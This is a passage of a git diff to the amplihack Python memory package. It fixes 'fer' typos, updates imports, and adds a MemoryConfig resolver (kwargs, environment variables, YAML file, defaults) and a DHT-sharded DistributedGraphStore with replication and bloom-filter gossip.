MemoryQuery( session_id=session.session_id, memory_type=memory_type, @@ -246,7 +246,7 @@ async def visualize_memory_tree_async( ImportError: If Rich library not installed Example: - >>> from amplihack.memory.backends.kuzu_backend import KuzuBackend + >>> from amplihack.memory.kuzu_store import KuzuGraphStore >>> backend = KuzuBackend() >>> await visualize_memory_tree_async(backend) @@ -301,7 +301,7 @@ def build_memory_tree( depth: Maximum tree depth (optional) Returns: - Rich Tree ready fer display (or None if Rich not available) + Rich Tree ready for display (or None if Rich not available) Raises: ImportError: If Rich library not installed @@ -336,7 +336,7 @@ def visualize_memory_tree( ImportError: If Rich library not installed Example: - >>> from amplihack.memory.backends.kuzu_backend import KuzuBackend + >>> from amplihack.memory.kuzu_store import KuzuGraphStore >>> backend = KuzuBackend() >>> visualize_memory_tree(backend) diff --git a/src/amplihack/memory/config.py b/src/amplihack/memory/config.py new file mode 100644 index 000000000..3e819c29c --- /dev/null +++ b/src/amplihack/memory/config.py @@ -0,0 +1,229 @@ +"""MemoryConfig — configuration resolution for the Memory facade. + +Resolution order (highest to lowest priority): + 1. Explicit kwargs passed to Memory.__init__ + 2. Environment variables (AMPLIHACK_MEMORY_*) + 3. YAML config file (~/.amplihack/memory.yaml or AMPLIHACK_MEMORY_CONFIG) + 4. Built-in defaults +""" + +from __future__ import annotations + +import logging +import os +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any + +logger = logging.getLogger(__name__) + + +_DEFAULT_BACKEND = "cognitive" +_DEFAULT_TOPOLOGY = "single" +_DEFAULT_KUZU_BUFFER_MB = 256 +_DEFAULT_REPLICATION_FACTOR = 3 +_DEFAULT_QUERY_FANOUT = 5 +_DEFAULT_GOSSIP_ENABLED = True +_DEFAULT_GOSSIP_ROUNDS = 3 +_DEFAULT_MODEL = None +_DEFAULT_SHARD_BACKEND = "memory" +_DEFAULT_MEMORY_TRANSPORT = "local" +_DEFAULT_MEMORY_CONNECTION_STRING = "" + + +def _default_config_path() -> Path: + env_path = os.environ.get("AMPLIHACK_MEMORY_CONFIG") + if env_path: + return Path(env_path) + return Path.home() / ".amplihack" / "memory.yaml" + + +@dataclass +class MemoryConfig: + """All configuration fields for the Memory facade.""" + + agent_name: str = "" + backend: str = _DEFAULT_BACKEND + topology: str = _DEFAULT_TOPOLOGY + storage_path: str | None = None + shared_hive: Any | None = None + model: str | None = _DEFAULT_MODEL + kuzu_buffer_pool_mb: int = _DEFAULT_KUZU_BUFFER_MB + replication_factor: int = _DEFAULT_REPLICATION_FACTOR + query_fanout: int = _DEFAULT_QUERY_FANOUT + gossip_enabled: bool = _DEFAULT_GOSSIP_ENABLED + gossip_rounds: int = _DEFAULT_GOSSIP_ROUNDS + shard_backend: str = _DEFAULT_SHARD_BACKEND # "memory" or "kuzu" + memory_transport: str = _DEFAULT_MEMORY_TRANSPORT # "local" | "redis" | "azure_service_bus" + memory_connection_string: str = _DEFAULT_MEMORY_CONNECTION_STRING + domain_expertise: str = "" # free-form domain tags for agent expertise routing + + @classmethod + def from_env(cls) -> "MemoryConfig": + """Build a MemoryConfig from environment variables. + + Only sets fields for which env vars are present; all others remain at + the dataclass defaults so callers can overlay them later. + """ + kwargs: dict[str, Any] = {} + + backend = os.environ.get("AMPLIHACK_MEMORY_BACKEND") + if backend is not None: + kwargs["backend"] = backend + + topology = os.environ.get("AMPLIHACK_MEMORY_TOPOLOGY") + if topology is not None: + kwargs["topology"] = topology + + storage_path = os.environ.get("AMPLIHACK_MEMORY_STORAGE_PATH") + if storage_path is not None: + kwargs["storage_path"] = storage_path + + kuzu_mb = os.environ.get("AMPLIHACK_MEMORY_KUZU_BUFFER_MB") + if kuzu_mb is not None: + try: + kwargs["kuzu_buffer_pool_mb"] = int(kuzu_mb) + except ValueError: + logger.warning("Invalid value for AMPLIHACK_MEMORY_KUZU_BUFFER_MB: %s", kuzu_mb) + + replication = os.environ.get("AMPLIHACK_MEMORY_REPLICATION") + if replication is not None: + try: + kwargs["replication_factor"] = int(replication) + except ValueError: + logger.warning("Invalid value for AMPLIHACK_MEMORY_REPLICATION: %s", replication) + + fanout = os.environ.get("AMPLIHACK_MEMORY_QUERY_FANOUT") + if fanout is not None: + try: + kwargs["query_fanout"] = int(fanout) + except ValueError: + logger.warning("Invalid value for AMPLIHACK_MEMORY_QUERY_FANOUT: %s", fanout) + + gossip = os.environ.get("AMPLIHACK_MEMORY_GOSSIP") + if gossip is not None: + kwargs["gossip_enabled"] = gossip.strip().lower() in ("1", "true", "yes") + + gossip_rounds = os.environ.get("AMPLIHACK_MEMORY_GOSSIP_ROUNDS") + if gossip_rounds is not None: + try: + kwargs["gossip_rounds"] = int(gossip_rounds) + except ValueError: + logger.warning("Invalid value for AMPLIHACK_MEMORY_GOSSIP_ROUNDS: %s", gossip_rounds) + + shard_backend = os.environ.get("AMPLIHACK_MEMORY_SHARD_BACKEND") + if shard_backend is not None: + kwargs["shard_backend"] = shard_backend + + transport = os.environ.get("AMPLIHACK_MEMORY_TRANSPORT") + if transport is not None: + kwargs["memory_transport"] = transport + + conn_str = os.environ.get("AMPLIHACK_MEMORY_CONNECTION_STRING") + if conn_str is not None: + kwargs["memory_connection_string"] = conn_str + + domain = os.environ.get("AMPLIHACK_MEMORY_DOMAIN_EXPERTISE") + if domain is not None: + kwargs["domain_expertise"] = domain + + return cls(**kwargs) + + @classmethod + def from_file(cls, path: str | Path | None = None) -> "MemoryConfig": + """Load a MemoryConfig from a YAML file. + + Returns a default MemoryConfig if the file does not exist. + """ + if path is None: + path = _default_config_path() + path = Path(path) + if not path.exists(): + return cls() + + try: + import yaml # type: ignore[import-not-found] + except ImportError: + return cls() + + with path.open() as fh: + data = yaml.safe_load(fh) or {} + + kwargs: dict[str, Any] = {} + _str_fields = ("backend", "topology", "storage_path", "model", "shard_backend", + "memory_transport", "memory_connection_string", "domain_expertise") + _int_fields = ("kuzu_buffer_pool_mb", "replication_factor", "query_fanout", "gossip_rounds") + _bool_fields = ("gossip_enabled",) + + for f in _str_fields: + if f in data: + kwargs[f] = str(data[f]) + for f in _int_fields: + if f in data: + kwargs[f] = int(data[f]) + for f in _bool_fields: + if f in data: + val = data[f] + if isinstance(val, bool): + kwargs[f] = val + else: + kwargs[f] = str(val).lower() in ("1", "true", "yes") + + return cls(**kwargs) + + @classmethod + def resolve( + cls, + agent_name: str = "", + *, + config_file: str | Path | None = None, + **kwargs: Any, + ) -> "MemoryConfig": + """Merge all config sources in priority order. + + Priority (highest first): explicit kwargs > env vars > file > defaults. + """ + # Start from file defaults + cfg = cls.from_file(config_file) + cfg.agent_name = agent_name + + # Overlay env vars — check presence directly so that even values that + # match the built-in defaults override the file config. + _env_map = { + "backend": ("AMPLIHACK_MEMORY_BACKEND", str), + "topology": ("AMPLIHACK_MEMORY_TOPOLOGY", str), + "storage_path": ("AMPLIHACK_MEMORY_STORAGE_PATH", str), + "kuzu_buffer_pool_mb": ("AMPLIHACK_MEMORY_KUZU_BUFFER_MB", int), + "replication_factor": ("AMPLIHACK_MEMORY_REPLICATION", int), + "query_fanout": ("AMPLIHACK_MEMORY_QUERY_FANOUT", int), + "gossip_rounds": ("AMPLIHACK_MEMORY_GOSSIP_ROUNDS", int), + "shard_backend": ("AMPLIHACK_MEMORY_SHARD_BACKEND", str), + "memory_transport": ("AMPLIHACK_MEMORY_TRANSPORT", str), + "memory_connection_string": ("AMPLIHACK_MEMORY_CONNECTION_STRING", str), + "domain_expertise": ("AMPLIHACK_MEMORY_DOMAIN_EXPERTISE", str), + } + for field_name, (env_key, converter) in _env_map.items(): + raw = os.environ.get(env_key) + if raw is not None: + try: + setattr(cfg, field_name, converter(raw)) + except ValueError: + logger.warning("Invalid value for %s: %s", env_key, raw) + + gossip_raw = os.environ.get("AMPLIHACK_MEMORY_GOSSIP") + if gossip_raw is not None: + cfg.gossip_enabled = gossip_raw.strip().lower() in ("1", "true", "yes") + + # Overlay explicit kwargs (highest priority) + for key, val in kwargs.items(): + if val is not None and hasattr(cfg, key): + setattr(cfg, key, val) + + # Apply derived defaults + if cfg.storage_path is None: + cfg.storage_path = f"/tmp/amplihack-memory/{agent_name}" if agent_name else "/tmp/amplihack-memory/default" + + return cfg + + +__all__ = ["MemoryConfig"] diff --git a/src/amplihack/memory/coordinator.py b/src/amplihack/memory/coordinator.py index 3acbce74d..32847be4a 100644 --- a/src/amplihack/memory/coordinator.py +++ b/src/amplihack/memory/coordinator.py @@ -1,6 +1,6 @@ -"""Memory coordinator - main interface fer 5-type memory system. +"""Memory coordinator - main interface for 5-type memory system. -Coordinates storage and retrieval with multi-agent review fer quality control. +Coordinates storage and retrieval with multi-agent review for quality control. Philosophy: - Ruthless simplicity: Clear coordinator interface @@ -20,9 +20,8 @@ from datetime import datetime from typing import Any -from .backends import MemoryBackend, create_backend -from .models import MemoryEntry -from .types import MemoryType +from .models import MemoryEntry, MemoryType +from .sqlite_backend import MemoryBackend, create_backend logger = logging.getLogger(__name__) @@ -71,9 +70,9 @@ class RetrievalQuery: class MemoryCoordinator: """Coordinates memory storage and retrieval with quality control. - Main interface fer the 5-type memory system. Handles: - - Multi-agent review fer storage quality - - Token budget enforcement fer retrieval + Main interface for the 5-type memory system. Handles: + - Multi-agent review for storage quality + - Token budget enforcement for retrieval - Performance monitoring (<50ms retrieval, <500ms storage) """ @@ -102,7 +101,7 @@ def __init__( >>> await coordinator.initialize() >>> # Use custom backend instance - >>> from .backends import SQLiteBackend + >>> from .sqlite_backend import SQLiteBackend >>> backend = SQLiteBackend(db_path="/tmp/memory.db") >>> await backend.initialize() >>> coordinator = MemoryCoordinator(backend=backend) @@ -151,13 +150,13 @@ async def store(self, request: StorageRequest) -> str | None: self._stats["total_rejected"] += 1 return None - # 2. Check fer duplicates + # 2. Check for duplicates if await self._is_duplicate(request.content): logger.debug(f"Rejected duplicate content: {request.content[:50]}") self._stats["total_rejected"] += 1 return None - # 3. Multi-agent review fer quality + # 3. Multi-agent review for quality importance_score = await self._review_quality(request) if importance_score < 5: # Threshold: 5/10 logger.debug(f"Rejected low-quality content (score={importance_score})") @@ -312,7 +311,7 @@ async def clear_working_memory(self, session_id: str | None = None): """ target_session = session_id or self.session_id try: - # Query fer WORKING type memories + # Query for WORKING type memories from .models import MemoryQuery query = MemoryQuery( @@ -322,7 +321,7 @@ async def clear_working_memory(self, session_id: str | None = None): memories = await self.backend.retrieve_memories(query) - # Filter fer WORKING type (stored in metadata) + # Filter for WORKING type (stored in metadata) working_memories = [ m for m in memories if m.metadata.get("new_memory_type") == MemoryType.WORKING.value ] @@ -332,7 +331,7 @@ async def clear_working_memory(self, session_id: str | None = None): await self.backend.delete_memory(memory.id) logger.info( - f"Cleared {len(working_memories)} working memories fer session {target_session}" + f"Cleared {len(working_memories)} working memories for session {target_session}" ) except Exception as e: @@ -340,7 +339,7 @@ async def clear_working_memory(self, session_id: str | None = None): raise # Propagate exception - don't swallow async def clear_all(self, session_id: str | None = None): - """Clear all memories fer current session. + """Clear all memories for current session. Args: session_id: Session to clear (defaults to current session) @@ -375,7 +374,7 @@ async def clear_all(self, session_id: str | None = None): ) await self.backend.delete_memory(memory.id) - logger.info(f"Cleared all {len(memories)} memories fer session {target_session}") + logger.info(f"Cleared all {len(memories)} memories for session {target_session}") except Exception as e: logger.error(f"Error clearing all memories: {e}") @@ -397,7 +396,7 @@ async def mark_task_complete(self, task_id: str): memories = await self.backend.retrieve_memories(query) - # Filter fer WORKING type with matching task_id + # Filter for WORKING type with matching task_id task_memories = [ m for m in memories @@ -409,7 +408,7 @@ async def mark_task_complete(self, task_id: str): for memory in task_memories: await self.backend.delete_memory(memory.id) - logger.info(f"Cleared {len(task_memories)} working memories fer task {task_id}") + logger.info(f"Cleared {len(task_memories)} working memories for task {task_id}") except Exception as e: logger.error(f"Error marking task complete: {e}") @@ -496,15 +495,15 @@ async def _is_duplicate(self, content: str) -> bool: content_prefix = content[:100] if len(content) >= 100 else content content_suffix = content[-100:] if len(content) >= 100 else content - # Query backend fer potential duplicates + # Query backend for potential duplicates from .models import MemoryQuery - # For now, retrieve all memories from current session and check manually - # TODO: Add content_hash to MemoryQuery fer more efficient duplicate detection + # Retrieve all memories from current session and check manually. + # A content_hash index on MemoryQuery would make this O(1) instead of O(n). query = MemoryQuery(session_id=self.session_id, limit=1000) memories = await self.backend.retrieve_memories(query) - # Check fer exact duplicates + # Check for exact duplicates for memory in memories: existing_content = memory.content @@ -520,10 +519,10 @@ async def _is_duplicate(self, content: str) -> bool: return False async def _invoke_agent(self, prompt: str) -> dict[str, Any]: - """Invoke agent fer review (can be mocked in tests). + """Invoke agent for review (can be mocked in tests). Args: - prompt: Prompt fer agent + prompt: Prompt for agent Returns: Agent response dict with quality score @@ -596,7 +595,7 @@ async def _review_quality(self, request: StorageRequest) -> int: Returns: Importance score (0-10) - Uses 3 agents fer consensus (accepts if ≥2/3 agree it's valuable). + Uses 3 agents for consensus (accepts if ≥2/3 agree it's valuable). """ try: prompt = f"""Review this memory for importance (0-10 scale): @@ -675,7 +674,7 @@ def _generate_title(self, content: str) -> str: return content[:50].strip() def _convert_to_old_type(self, new_type: MemoryType): - """Convert new 5-type system to old type system fer database. + """Convert new 5-type system to old type system for database. Temporary adapter until full migration. """ @@ -738,7 +737,7 @@ def _rank_by_relevance( async def _enrich_with_code_context(self, memories: list[MemoryEntry]) -> list[MemoryEntry]: """Enrich memories with related code context. - Queries Kuzu graph fer code files and functions linked to each memory + Queries Kuzu graph for code files and functions linked to each memory via RELATES_TO_FILE_* and RELATES_TO_FUNCTION_* relationships. Args: @@ -755,23 +754,14 @@ async def _enrich_with_code_context(self, memories: list[MemoryEntry]) -> list[M logger.debug("Backend does not support graph queries, skipping code context") return memories - # Check if backend has code graph integration (Kuzu-specific) - try: - # Attempt to access Kuzu-specific code graph - from .backends.kuzu_backend import KuzuBackend - - if not isinstance(self.backend, KuzuBackend): - logger.debug("Backend is not KuzuBackend, skipping code context") - return memories - - # Get code graph instance - code_graph = self.backend.get_code_graph() - if code_graph is None: - logger.debug("Code graph not initialized, skipping code context") - return memories - - except (ImportError, AttributeError) as e: - logger.debug(f"Code graph not available: {e}") + # Check if backend has code graph integration + code_graph = getattr(self.backend, "get_code_graph", None) + if code_graph is None: + logger.debug("Backend has no code graph support, skipping code context") + return memories + code_graph = self.backend.get_code_graph() + if code_graph is None: + logger.debug("Code graph not initialized, skipping code context") return memories # Enrich each memory with code context @@ -794,7 +784,7 @@ async def _enrich_with_code_context(self, memories: list[MemoryEntry]) -> list[M return memories def _format_code_context(self, context: dict[str, Any]) -> str: - """Format code context into readable text fer LLM consumption. + """Format code context into readable text for LLM consumption. Args: context: Code context dictionary from query_code_context() diff --git a/src/amplihack/memory/discoveries.py b/src/amplihack/memory/discoveries.py index d7132c8db..90ec19f62 100644 --- a/src/amplihack/memory/discoveries.py +++ b/src/amplihack/memory/discoveries.py @@ -1,17 +1,17 @@ -"""Discovery memory adapter - sync interface fer session hooks. +"""Discovery memory adapter - sync interface for session hooks. Provides simple sync functions to store/retrieve discoveries from the memory system. Used by session_start.py hook. Philosophy: - Thin adapter, not an abstraction layer -- Sync wrappers fer async MemoryCoordinator +- Sync wrappers for async MemoryCoordinator - Discovery-specific metadata structure - Graceful fallback when memory unavailable Public API: store_discovery: Store a discovery in memory - get_recent_discoveries: Retrieve recent discoveries fer context + get_recent_discoveries: Retrieve recent discoveries for context """ import asyncio @@ -20,7 +20,7 @@ from typing import Any from .coordinator import MemoryCoordinator, RetrievalQuery, StorageRequest -from .types import MemoryType +from .models import MemoryType logger = logging.getLogger(__name__) @@ -40,7 +40,7 @@ def store_discovery( category: Optional category (e.g., "bug-fix", "pattern", "architecture") date: Discovery date (defaults to now) summary: Brief summary (first 100 chars of content if not provided) - session_id: Session ID fer coordinator + session_id: Session ID for coordinator Returns: Memory ID if stored, None if rejected or failed @@ -73,12 +73,12 @@ def get_recent_discoveries( limit: int = 10, session_id: str | None = None, ) -> list[dict[str, Any]]: - """Retrieve recent discoveries fer session context. + """Retrieve recent discoveries for session context. Args: days: How far back to look (default 30) limit: Maximum discoveries to return - session_id: Session ID fer coordinator + session_id: Session ID for coordinator Returns: List of discovery dicts with content and metadata @@ -92,7 +92,7 @@ def get_recent_discoveries( query_text="discovery learning pattern solution", # Semantic search terms memory_types=[MemoryType.SEMANTIC], time_range=(start_time, end_time), - token_budget=4000, # Reasonable budget fer context + token_budget=4000, # Reasonable budget for context ) try: diff --git a/src/amplihack/memory/distributed_store.py b/src/amplihack/memory/distributed_store.py new file mode 100644 index 000000000..e663479d3 --- /dev/null +++ b/src/amplihack/memory/distributed_store.py @@ -0,0 +1,540 @@ +"""DistributedGraphStore — DHT-sharded GraphStore implementation. + +Shards graph nodes across a consistent hash ring of agent-owned +InMemoryGraphStore or KuzuGraphStore (configurable) shards. Supports: + +- Replication: each node stored on R shard owners +- Semantic routing: embed text → cosine sim → top K shards for search +- Query fan-out: spread queries across all shards with dedup +- Edge routing: edge stored on both endpoint shards +- Gossip: bloom filters track node IDs for incremental sync + +Usage: + store = DistributedGraphStore(replication_factor=3) + store.add_agent("agent-1") + store.add_agent("agent-2") + node_id = store.create_node("semantic_memory", {"content": "sky is blue"}) + results = store.search_nodes("semantic_memory", "sky") +""" + +from __future__ import annotations + +import hashlib +import logging +import threading +import uuid +from typing import Any, Callable + +logger = logging.getLogger(__name__) + +from amplihack.memory.bloom import BloomFilter +from amplihack.memory.hash_ring import HashRing + +from .memory_store import InMemoryGraphStore + + +# --------------------------------------------------------------------------- +# Internal shard wrapper +# --------------------------------------------------------------------------- + + +class _AgentShard: + """Wraps a GraphStore shard with bloom filter and optional embedding.""" + + def __init__(self, agent_id: str, store: Any) -> None: + self.agent_id = agent_id + self.store = store + self._bloom = BloomFilter(expected_items=10_000, false_positive_rate=0.01) + self._lock = threading.Lock() + # Running-average summary embedding for semantic routing + self._summary_embedding: Any = None + self._embedding_count: int = 0 + + def track_node(self, node_id: str) -> None: + with self._lock: + self._bloom.add(node_id) + + def might_contain(self, node_id: str) -> bool: + with self._lock: + return self._bloom.might_contain(node_id) + + def get_summary_embedding(self) -> Any: + """Return the current summary embedding under lock.""" + with self._lock: + return self._summary_embedding + + def update_embedding(self, embedding: Any) -> None: + if embedding is None: + return + try: + import numpy as np + emb = np.array(embedding, dtype=float) + with self._lock: + n = self._embedding_count + if self._summary_embedding is None: + self._summary_embedding = emb.copy() + else: + self._summary_embedding = ( + self._summary_embedding * n + emb + ) / (n + 1) + self._embedding_count += 1 + except ImportError: + logger.warning("numpy not available for shard embedding computation") + except Exception: + logger.debug("Failed to update shard embedding", exc_info=True) + + +# --------------------------------------------------------------------------- +# DistributedGraphStore +# --------------------------------------------------------------------------- + + +class DistributedGraphStore: + """GraphStore sharded across a DHT ring of agent-owned sub-stores. + + Args: + replication_factor: Number of shard owners per node. + query_fanout: Max shards to query per search/query_nodes call. + shard_factory: Callable returning a fresh GraphStore for each agent shard. + Takes precedence over shard_backend when provided. + shard_backend: "memory" (default) or "kuzu". Controls which store type + is created per agent when shard_factory is not set. + storage_path: Base directory for kuzu shard databases. + Shards are created at {storage_path}/shards/{agent_id}. + kuzu_buffer_pool_mb: Buffer pool in MB for each kuzu shard (default 256). + embedding_generator: Optional callable str → array for semantic routing. + """ + + def __init__( + self, + replication_factor: int = 3, + query_fanout: int = 5, + shard_factory: Callable[[], Any] | None = None, + shard_backend: str = "memory", + storage_path: str = "/tmp/amplihack-shards", + kuzu_buffer_pool_mb: int = 256, + embedding_generator: Any = None, + ) -> None: + self._ring = HashRing(replication_factor=replication_factor) + self._replication_factor = replication_factor + self._query_fanout = query_fanout + self._shard_factory = shard_factory + self._shard_backend = shard_backend + self._storage_path = storage_path + self._kuzu_buffer_pool_mb = kuzu_buffer_pool_mb + self._embedding_generator = embedding_generator + self._shards: dict[str, _AgentShard] = {} + self._lock = threading.RLock() + # node_id -> content_key mapping for correct shard rebuild routing + self._node_content_keys: dict[str, str] = {} + # Per-fact embedding index: node_id -> embedding vector + self._fact_index: dict[str, Any] = {} + + # ------------------------------------------------------------------ + # Agent management + # ------------------------------------------------------------------ + + def _make_shard_store(self, agent_id: str) -> Any: + """Create a shard store for the given agent.""" + if self._shard_factory is not None: + return self._shard_factory() + if self._shard_backend == "kuzu": + from pathlib import Path + + from .kuzu_store import KuzuGraphStore + + shard_path = Path(self._storage_path) / "shards" / agent_id + shard_path.parent.mkdir(parents=True, exist_ok=True) + return KuzuGraphStore( + db_path=shard_path, + buffer_pool_size=self._kuzu_buffer_pool_mb * 1024 * 1024, + ) + logger.warning( + "DistributedGraphStore: no persistent shard backend configured " + "(shard_backend=%r, storage_path=%r); using InMemoryGraphStore. " + "Data will be lost on restart.", + self._shard_backend, + self._storage_path, + ) + return InMemoryGraphStore() + + def add_agent(self, agent_id: str) -> None: + """Register an agent (creates a shard store for it).""" + self._ring.add_agent(agent_id) + with self._lock: + if agent_id not in self._shards: + store = self._make_shard_store(agent_id) + self._shards[agent_id] = _AgentShard(agent_id, store) + # If other agents already have data, populate this shard from peers + has_peers_with_data = any( + s.agent_id != agent_id and s._bloom.count > 0 + for s in self._all_shards() + ) + if has_peers_with_data: + self.rebuild_shard(agent_id) + + def remove_agent(self, agent_id: str) -> None: + """Remove an agent from the ring.""" + self._ring.remove_agent(agent_id) + with self._lock: + self._shards.pop(agent_id, None) + + # ------------------------------------------------------------------ + # Internal routing helpers + # ------------------------------------------------------------------ + + def _content_key(self, properties: dict[str, Any]) -> str: + content = ( + properties.get("content") + or properties.get("event_description") + or properties.get("concept") + or properties.get("skill_name") + or properties.get("goal") + or properties.get("entity_name") + or str(properties) + ) + return str(content)[:200] + + def _owners_for_key(self, key: str) -> list[str]: + return self._ring.get_agents(key, n=self._replication_factor) + + def _get_shard(self, agent_id: str) -> _AgentShard | None: + with self._lock: + return self._shards.get(agent_id) + + def _all_shards(self) -> list[_AgentShard]: + with self._lock: + return list(self._shards.values()) + + def _query_targets(self) -> list[str]: + """Return agents to fan out a query to (up to query_fanout).""" + all_ids = self._ring.agent_ids + return all_ids[: self._query_fanout] + + def _semantic_targets(self, text: str) -> list[str]: + """Pick top-K shards via cosine similarity on summary embeddings.""" + if self._embedding_generator is None: + return [] + try: + import numpy as np + query_emb = self._embedding_generator(text) + if query_emb is None: + return [] + q = np.array(query_emb, dtype=float) + q_norm = float(np.linalg.norm(q)) + if q_norm == 0: + return [] + scored: list[tuple[float, str]] = [] + with self._lock: + shards_snapshot = list(self._shards.items()) + for agent_id, shard in shards_snapshot: + s = shard.get_summary_embedding() + if s is not None: + s_norm = float(np.linalg.norm(s)) + if s_norm > 0: + sim = float(np.dot(q, s) / (q_norm * s_norm)) + scored.append((sim, agent_id)) + scored.sort(reverse=True) + return [aid for _, aid in scored[: self._query_fanout]] + except Exception: + return [] + + # ------------------------------------------------------------------ + # Schema operations — forwarded to all shards + # ------------------------------------------------------------------ + + def ensure_table(self, table: str, schema: dict[str, str]) -> None: + for shard in self._all_shards(): + shard.store.ensure_table(table, schema) + + def ensure_rel_table( + self, + rel_type: str, + from_table: str, + to_table: str, + schema: dict[str, str] | None = None, + ) -> None: + for shard in self._all_shards(): + shard.store.ensure_rel_table(rel_type, from_table, to_table, schema) + + # ------------------------------------------------------------------ + # Node operations + # ------------------------------------------------------------------ + + def create_node(self, table: str, properties: dict[str, Any]) -> str: + node_id = properties.get("node_id") or str(uuid.uuid4()) + props = dict(properties) + props["node_id"] = node_id + + key = self._content_key(props) + self._node_content_keys[node_id] = key # Store routing key for rebuild_shard + owners = self._owners_for_key(key) + + # Update embedding for semantic routing + if self._embedding_generator is not None: + content_text = self._content_key(props) + try: + emb = self._embedding_generator(content_text) + except Exception: + emb = None + else: + emb = None + + if emb is not None: + with self._lock: + self._fact_index[node_id] = emb + + for agent_id in owners: + shard = self._get_shard(agent_id) + if shard is not None: + shard.store.create_node(table, dict(props)) + shard.track_node(node_id) + if emb is not None: + shard.update_embedding(emb) + + return node_id + + def get_fact_embedding(self, node_id: str) -> Any: + """Return the stored embedding for a specific fact, or None if not indexed.""" + with self._lock: + return self._fact_index.get(node_id) + + def get_node(self, table: str, node_id: str) -> dict[str, Any] | None: + # Try shards that bloom filter says might contain this node + for shard in self._all_shards(): + if shard.might_contain(node_id): + result = shard.store.get_node(table, node_id) + if result is not None: + return result + # Fallback: scan all shards + for shard in self._all_shards(): + result = shard.store.get_node(table, node_id) + if result is not None: + return result + return None + + def update_node(self, table: str, node_id: str, properties: dict[str, Any]) -> None: + updated = False + for shard in self._all_shards(): + if shard.might_contain(node_id): + existing = shard.store.get_node(table, node_id) + if existing is not None: + shard.store.update_node(table, node_id, properties) + updated = True + if not updated: + # Fallback: scan all + for shard in self._all_shards(): + existing = shard.store.get_node(table, node_id) + if existing is not None: + shard.store.update_node(table, node_id, properties) + + def delete_node(self, table: str, node_id: str) -> None: + for shard in self._all_shards(): + shard.store.delete_node(table, node_id) + + def query_nodes( + self, + table: str, + filters: dict[str, Any] | None = None, + limit: int = 100, + ) -> list[dict[str, Any]]: + seen_ids: set[str] = set() + results: list[dict[str, Any]] = [] + targets = self._query_targets() + + for agent_id in targets: + shard = self._get_shard(agent_id) + if shard is None: + continue + rows = shard.store.query_nodes(table, filters, limit) + for row in rows: + nid = row.get("node_id", "") + if nid not in seen_ids: + seen_ids.add(nid) + results.append(row) + if len(results) >= limit: + return results + return results + + def search_nodes( + self, + table: str, + text: str, + fields: list[str] | None = None, + limit: int = 20, + ) -> list[dict[str, Any]]: + # Try semantic routing first + targets = self._semantic_targets(text) + if not targets: + # Fall back to all shards (small hive optimization) + targets = self._ring.agent_ids + + seen_ids: set[str] = set() + results: list[dict[str, Any]] = [] + + for agent_id in targets: + shard = self._get_shard(agent_id) + if shard is None: + continue + rows = shard.store.search_nodes(table, text, fields, limit) + for row in rows: + nid = row.get("node_id", "") + if nid not in seen_ids: + seen_ids.add(nid) + results.append(row) + if len(results) >= limit: + return results + + return results + + # ------------------------------------------------------------------ + # Edge operations + # ------------------------------------------------------------------ + + def create_edge( + self, + rel_type: str, + from_table: str, + from_id: str, + to_table: str, + to_id: str, + properties: dict[str, Any] | None = None, + ) -> None: + # Store edge on shards that own either endpoint + shards_with_from = [ + s for s in self._all_shards() + if s.store.get_node(from_table, from_id) is not None + ] + shards_with_to = [ + s for s in self._all_shards() + if s.store.get_node(to_table, to_id) is not None + ] + target_shards = {s.agent_id: s for s in shards_with_from + shards_with_to} + + for shard in target_shards.values(): + shard.store.create_edge( + rel_type, from_table, from_id, to_table, to_id, properties + ) + + def get_edges( + self, + node_id: str, + rel_type: str | None = None, + direction: str = "out", + ) -> list[dict[str, Any]]: + seen: set[str] = set() + results: list[dict[str, Any]] = [] + for shard in self._all_shards(): + edges = shard.store.get_edges(node_id, rel_type, direction) + for edge in edges: + key = f"{edge.get('rel_type')}-{edge.get('from_id')}-{edge.get('to_id')}" + if key not in seen: + seen.add(key) + results.append(edge) + return results + + def delete_edge(self, rel_type: str, from_id: str, to_id: str) -> None: + for shard in self._all_shards(): + shard.store.delete_edge(rel_type, from_id, to_id) + + # ------------------------------------------------------------------ + # Gossip + # ------------------------------------------------------------------ + + def run_gossip_round(self) -> dict[str, int]: + """Exchange full graph nodes between shards via bloom filter gossip. + + For each consecutive shard pair (A, B): + 1. A's bloom filter identifies which of B's node_ids are missing from A. + 2. B exports those nodes/edges and A imports them. + Returns dict of {agent_id: nodes_received}. + """ + all_shards = self._all_shards() + if len(all_shards) < 2: + return {} + + stats: dict[str, int] = {} + for i in range(len(all_shards)): + shard_a = all_shards[i] + shard_b = all_shards[(i + 1) % len(all_shards)] + + b_node_ids = shard_b.store.get_all_node_ids() + missing_from_a = [nid for nid in b_node_ids if not shard_a.might_contain(nid)] + + if missing_from_a: + nodes = shard_b.store.export_nodes(missing_from_a) + edges = shard_b.store.export_edges(missing_from_a) + imported = shard_a.store.import_nodes(nodes) + shard_a.store.import_edges(edges) + for nid in missing_from_a: + shard_a.track_node(nid) + stats[shard_a.agent_id] = imported + else: + stats[shard_a.agent_id] = 0 + + return stats + + def rebuild_shard(self, agent_id: str) -> int: + """Rebuild a shard by pulling data from peer shards via DHT ring. + + Returns total nodes imported. + """ + shard = self._get_shard(agent_id) + if shard is None: + return 0 + + total_imported = 0 + for peer_shard in self._all_shards(): + if peer_shard.agent_id == agent_id: + continue + peer_node_ids = list(peer_shard.store.get_all_node_ids()) + if not peer_node_ids: + continue + # Pull nodes that the DHT ring assigns to this agent + # Use stored _content_key for correct routing (same key used at create_node time) + nodes_for_agent = [ + nid for nid in peer_node_ids + if agent_id in self._owners_for_key(self._node_content_keys.get(nid, nid)) + ] + if not nodes_for_agent: + continue + nodes = peer_shard.store.export_nodes(nodes_for_agent) + edges = peer_shard.store.export_edges(nodes_for_agent) + imported = shard.store.import_nodes(nodes) + shard.store.import_edges(edges) + for nid in nodes_for_agent: + shard.track_node(nid) + total_imported += imported + + return total_imported + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def close(self) -> None: + for shard in self._all_shards(): + try: + shard.store.close() + except Exception: + logger.debug("Error closing shard %s", shard.agent_id, exc_info=True) + + # ------------------------------------------------------------------ + # Stats + # ------------------------------------------------------------------ + + def get_stats(self) -> dict[str, Any]: + with self._lock: + shard_counts = { + aid: shard._bloom.count + for aid, shard in self._shards.items() + } + return { + "agent_count": self._ring.agent_count, + "replication_factor": self._replication_factor, + "query_fanout": self._query_fanout, + "shard_bloom_counts": shard_counts, + } + + +__all__ = ["DistributedGraphStore"] diff --git a/src/amplihack/memory/evaluation/__init__.py b/src/amplihack/memory/evaluation/__init__.py index 5160d47dd..cf35932d4 100644 --- a/src/amplihack/memory/evaluation/__init__.py +++ 